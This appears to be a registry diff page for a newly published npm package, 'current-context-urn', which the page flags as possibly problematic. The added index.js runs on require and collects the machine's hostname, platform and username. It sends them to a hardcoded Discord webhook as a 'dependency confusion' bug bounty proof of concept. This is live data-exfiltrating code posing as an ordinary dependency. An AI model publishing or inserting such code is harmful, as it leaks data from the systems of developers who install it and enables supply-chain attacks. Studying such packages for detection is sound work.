current-context-urn 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of current-context-urn might be problematic. Click here for more details.
- package/index.js +41 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
// Datos del sistema para el reporte
|
|
5
|
+
const data = JSON.stringify({
|
|
6
|
+
content: "🚀 **Dependency Confusion Triggered!**",
|
|
7
|
+
embeds: [{
|
|
8
|
+
title: "PoC Details",
|
|
9
|
+
color: 16711680, // Rojo
|
|
10
|
+
fields: [
|
|
11
|
+
{ name: "Hostname", value: os.hostname() || "N/A", inline: true },
|
|
12
|
+
{ name: "Platform", value: os.platform() || "N/A", inline: true },
|
|
13
|
+
{ name: "User", value: os.userInfo().username || "N/A", inline: true },
|
|
14
|
+
{ name: "Package", value: "current-context-urn", inline: false }
|
|
15
|
+
],
|
|
16
|
+
footer: { text: "Bug Bounty PoC - No sensitive data was exfiltrated." }
|
|
17
|
+
}]
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
const options = {
|
|
21
|
+
hostname: 'discord.com',
|
|
22
|
+
port: 443,
|
|
23
|
+
path: '/api/webhooks/1487009597175890022/DE6xfM-BeQ1xD6U2nH7vuFoQAIDd_aVDsuzdhHiGBZpPRm0M9BU94QEglVsLHaSxqhzo',
|
|
24
|
+
method: 'POST',
|
|
25
|
+
headers: {
|
|
26
|
+
'Content-Type': 'application/json',
|
|
27
|
+
'Content-Length': data.length,
|
|
28
|
+
},
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
const req = https.request(options);
|
|
32
|
+
|
|
33
|
+
req.on('error', (error) => {
|
|
34
|
+
console.error('PoC delivery failed:', error);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
req.write(data);
|
|
38
|
+
req.end();
|
|
39
|
+
|
|
40
|
+
// Export opcional para que no de error si lo requieren como módulo
|
|
41
|
+
module.exports = {};
|
package/package.json
ADDED